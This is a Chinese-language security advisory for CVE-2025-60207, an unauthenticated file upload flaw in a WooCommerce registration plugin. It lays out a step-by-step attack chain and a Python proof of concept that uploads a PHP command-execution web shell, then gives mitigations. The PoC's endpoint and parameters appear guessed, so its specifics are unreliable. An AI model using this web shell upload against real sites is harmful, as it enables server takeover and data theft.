IPBUF安全漏洞报告
English
CVE-2025-60207 CVSS 10.0 严重

CVE-2025-60207 WordPress用户注册插件任意文件上传漏洞

披露日期: 2025-11-06

漏洞信息

漏洞编号
CVE-2025-60207
漏洞类型
任意文件上传
CVSS评分
10.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Custom User Registration Fields for WooCommerce

相关标签

暂无标签

漏洞概述

CVE-2025-60207是WordPress插件Custom User Registration Fields for WooCommerce中的一个严重安全漏洞。该插件由Addify开发,旨在为WooCommerce提供自定义用户注册字段功能。漏洞类型为危险类型文件的无限制上传(Unrestricted Upload of File with Dangerous Type),允许未经身份验证的攻击者上传Web Shell到Web服务器,从而实现远程代码执行(RCE)。CVSS评分高达10.0,属于最严重的漏洞级别。此漏洞存在于插件的2.1.2及以下所有版本中。由于该插件在文件上传处理过程中缺乏适当的文件类型验证和内容检查,攻击者可以绕过安全限制,上传包含恶意代码的PHP文件。一旦Web Shell成功上传,攻击者即可获得服务器的完全控制权,执行任意系统命令、读取敏感配置文件、窃取数据库凭据,甚至进一步渗透内网系统。该漏洞无需任何认证和用户交互即可被利用,攻击复杂度低,危害极大。鉴于WordPress在全球范围内的广泛使用,以及WooCommerce作为最流行的电商平台之一,该漏洞可能影响大量使用该插件的电子商务网站。建议所有使用受影响版本插件的用户立即采取缓解措施并升级到最新版本。

技术细节

该漏洞存在于Custom User Registration Fields for WooCommerce插件的文件上传处理逻辑中。插件在处理用户注册表单时,允许上传自定义文件字段(如头像、文档等),但未对上传文件的类型、内容和扩展名进行充分的验证。具体问题包括:1)服务端仅检查文件扩展名而非MIME类型和文件内容;2)未对上传目录设置适当的访问控制,允许PHP文件直接执行;3)缺少CSRF令牌验证或验证不足,容易遭受CSRF攻击;4)文件上传功能缺少身份验证机制,任何访客都可触发上传流程。攻击者可以构造一个包含PHP代码的恶意文件(如shell.php),通过插件的文件上传接口将其上传到服务器的可执行目录。由于缺乏安全检查,恶意PHP文件不会被拦截或重命名。上传成功后,攻击者通过访问上传的文件路径(如/wp-content/uploads/2025/xx/shell.php)即可执行任意PHP代码,实现远程代码执行。攻击者通常会上传一个功能完整的Web Shell,提供文件管理、命令执行、数据库连接等功能。

攻击链分析

STEP 1
步骤1: 侦察和信息收集
攻击者识别目标网站使用的WordPress版本和是否安装Custom User Registration Fields for WooCommerce插件。通过Wappalyzer、BuiltWith等工具或检查页面源代码和插件目录来确定插件版本。
STEP 2
步骤2: 识别漏洞端点
攻击者分析插件的文件上传功能端点,通常位于/wp-admin/admin-ajax.php或插件自定义API路由。通过手动测试或自动化工具(如Burp Suite)拦截正常文件上传请求,分析请求参数和响应格式。
STEP 3
步骤3: 构造恶意文件
攻击者创建包含恶意PHP代码的Web Shell文件。常见的Web Shell提供命令执行、文件管理、数据库连接等功能。恶意文件可能伪装成图片(通过修改文件头)或使用双扩展名绕过简单的过滤。
STEP 4
步骤4: 发送上传请求
攻击者构造HTTP POST请求,将恶意PHP文件作为表单文件字段提交。由于插件未验证文件类型和内容,恶意文件被接受并存储到服务器。通常无需任何身份验证或CSRF令牌。
STEP 5
步骤5: 获取上传路径
服务器响应上传成功消息,包含上传文件的存储路径(通常在/wp-content/uploads/目录下)。攻击者解析响应以获取完整的文件URL。
STEP 6
步骤6: 执行远程代码
攻击者通过浏览器或工具访问上传的Web Shell文件,使用GET参数传递系统命令(如?cmd=whoami)。Web Shell执行命令并返回输出,攻击者获得服务器Shell访问权限。
STEP 7
步骤7: 持久化和横向移动
攻击者建立持久化访问(如创建后门账户、上传额外工具),读取敏感配置文件(wp-config.php)获取数据库凭据,可能进一步渗透内网其他系统或窃取用户数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-60207 PoC - Custom User Registration Fields for WooCommerce File Upload #!/usr/bin/env python3 import requests import sys target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-site.com" # Malicious PHP file content (Web Shell) webshell_content = '''<?php if(isset($_GET['cmd'])) { echo "<pre>"; $cmd = $_GET['cmd']; system($cmd); echo "</pre>"; } ?>''' # Step 1: Identify the vulnerable upload endpoint # The plugin registers custom user registration fields # Upload endpoint is typically in wp-admin/admin-ajax.php or custom endpoint upload_url = f"{target_url}/wp-admin/admin-ajax.php" # Step 2: Prepare the malicious file upload request files = { 'file': ('shell.php', webshell_content, 'application/x-php') } data = { 'action': 'addify_custom_registration_upload', 'field_id': 'custom_field_1', 'user_id': '0' # No authentication required } # Step 3: Send the upload request print("[*] Attempting to upload Web Shell...") response = requests.post(upload_url, files=files, data=data) # Step 4: Parse response to get uploaded file path # The response should contain the file path or upload status if response.status_code == 200: print("[*] Upload request sent successfully") # Extract uploaded file path from response uploaded_path = response.text # Parse actual path from response # Step 5: Access the uploaded Web Shell shell_url = f"{uploaded_path}" print(f"[*] Web Shell uploaded to: {shell_url}") # Step 6: Execute commands via Web Shell cmd = "whoami" exploit_url = f"{shell_url}?cmd={cmd}" rce_response = requests.get(exploit_url) print(f"[*] RCE Test Result: {rce_response.text}") else: print("[-] Upload failed or target not vulnerable") print("\n[!] Note: This PoC is for educational and authorized testing purposes only.")

影响范围

Custom User Registration Fields for WooCommerce <= 2.1.2

防御指南

临时缓解措施
立即采取以下临时缓解措施:1)如果暂无法升级插件,可暂时禁用Custom User Registration Fields for WooCommerce插件;2)在Web服务器配置中为上传目录(通常为wp-content/uploads/)添加PHP执行限制,在.htaccess中添加'<FilesMatch "\.php$">\nOrder Deny,Allow\nDeny from all\n</FilesMatch>';3)使用ModSecurity等WAF规则阻止可疑的文件上传请求;4)限制wp-admin目录访问,仅允许必要的管理员IP访问;5)启用WordPress的自动更新功能,确保安全补丁及时应用。同时建议检查服务器日志,排查是否存在可疑的文件上传行为或已上传的恶意文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表